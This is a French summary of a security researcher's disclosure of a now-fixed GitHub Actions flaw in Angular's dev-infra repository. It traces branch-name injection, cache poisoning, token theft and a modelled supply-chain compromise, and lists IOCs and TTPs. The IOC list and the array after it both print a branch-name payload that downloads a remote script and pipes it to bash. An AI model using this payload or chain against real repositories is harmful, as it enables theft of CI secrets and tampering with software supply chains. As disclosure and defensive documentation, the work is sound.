Source: blog d’adnanthekhan (3 mars 2026). Contexte: découverte en décembre 2025 d’une mauvaise configuration GitHub Actions dans le dépôt angular/dev-infra, exploitée pour montrer une escalade via empoisonnement du cache jusqu’à un scénario plausible de compromis de supply chain d’Angular. Google a corrigé la vulnérabilité et indique qu’il n’existe plus de risque pour les utilisateurs d’Angular.

– Le point de départ est un workflow “Worklow Testing” déclenché par pull_request_target utilisant la variable ${{ github.head_ref }} dans une commande shell, permettant une injection via le nom de branche. Bien que le GITHUB_TOKEN fût en lecture seule et sans secrets, l’auteur a recherché un pivot via GitHub Actions Cache Poisoning.

– L’article rappelle les évolutions de GitHub: impossibilité d’écrire dans le cache après la fin du job, migration vers Cache v2 (versions en hex 64 caractères, « all keys are restore keys »), et surtout le changement de politique d’éviction (20 nov. 2025) qui évince immédiatement au-delà de 10 Go. Cette dernière évolution permet à un attaquant de forcer l’éviction LRU et d’écrire des entrées de cache empoisonnées au sein d’un seul run. 🧰

– Pivot clé: un workflow programmé (ng-renovate) consomme le cache via actions/setup-node et utilise le secret NG_RENOVATE_USER_ACCESS_TOKEN. En déployant l’outil PoC Cacheract, l’auteur a rempli le cache (>10 Go), provoqué l’éviction puis injecté des caches node_modules empoisonnés. Lors de l’exécution planifiée suivante, Renovate a restauré ce cache et exfiltré le PAT de l’account angular-robot (scopes repo et workflow), preuve de l’impact. 🔒

– Vers le compromis de supply chain (modélisé, non exécuté): avec le PAT du bot (accès triage), un attaquant attendrait un PR de mise à jour de versions créé par le bot, puis forcerait un push pour remplacer un SHA d’action par un commit imposteur (ex. actions/checkout). En raison d’une exception qui ne révoque pas les approbations pour les PRs du bot, le PR serait fusionné, backdoorant le workflow (dev-infra.yml). Le payload pourrait alors exfiltrer la clé privée ANGULAR_ROBOT_PRIVATE_KEY d’une GitHub App, permettant de forger un token serveur-à-serveur et de pousser du code malveillant sur la branche principale. 🚨

– Conclusion: il s’agit d’un rapport technique de vulnérabilité montrant une chaîne d’escalade réaliste, depuis une injection « faible impact » jusqu’à un risque de supply chain, rendu plus praticable par les récentes politiques d’éviction du cache. Google a corrigé le problème et l’article vise à documenter la méthode, les pivots et l’impact potentiel.

IOCs et artefacts notables:

  • Exemple de payload d’injection (nom de branche): $({curl,-sSfL,https://gist.githubusercontent.com/EvilUser/A/payload.sh}${IFS}|${IFS}bash)
  • Secrets/identifiants mentionnés: NG_RENOVATE_USER_ACCESS_TOKEN, ANGULAR_ROBOT_PRIVATE_KEY, compte angular-robot
  • Dépôts/chemins: angular/dev-infra, .github/ng-renovate, workflow “Worklow Testing”

TTPs (MITRE-like):

  • Exploitation PR Target: Injection via ${{ github.head_ref }} dans un step run
  • Empoisonnement du cache GitHub Actions: remplissage >10 Go pour forcer l’éviction LRU, écriture d’entrées node_modules piégées
  • Pivot vers job programmé (Renovate) consommant le cache pour exfiltrer un PAT
  • Backdooring d’action via commit imposteur et conservation d’approbations sur PRs du bot
  • Exfiltration de clés et possible élévation via GitHub App

🧠 TTPs et IOCs détectés

TTP

[‘Injection via ${{ github.head_ref }} dans un step run’, ‘Empoisonnement du cache GitHub Actions: remplissage >10 Go pour forcer l’éviction LRU, écriture d’entrées node_modules piégées’, ‘Pivot vers job programmé (Renovate) consommant le cache pour exfiltrer un PAT’, ‘Backdooring d’action via commit imposteur et conservation d’approbations sur PRs du bot’, ‘Exfiltration de clés et possible élévation via GitHub App’]

IOC

[‘Exemple de payload d’injection (nom de branche): $({curl,-sSfL,https://gist.githubusercontent.com/EvilUser/A/payload.sh}${IFS}|${IFS}bash)’, ‘Secrets/identifiants mentionnés: NG_RENOVATE_USER_ACCESS_TOKEN, ANGULAR_ROBOT_PRIVATE_KEY, compte angular-robot’, ‘Dépôts/chemins: angular/dev-infra, .github/ng-renovate, workflow “Worklow Testing”’]


🔗 Source originale : https://adnanthekhan.com/posts/angular-compromise-through-dev-infra/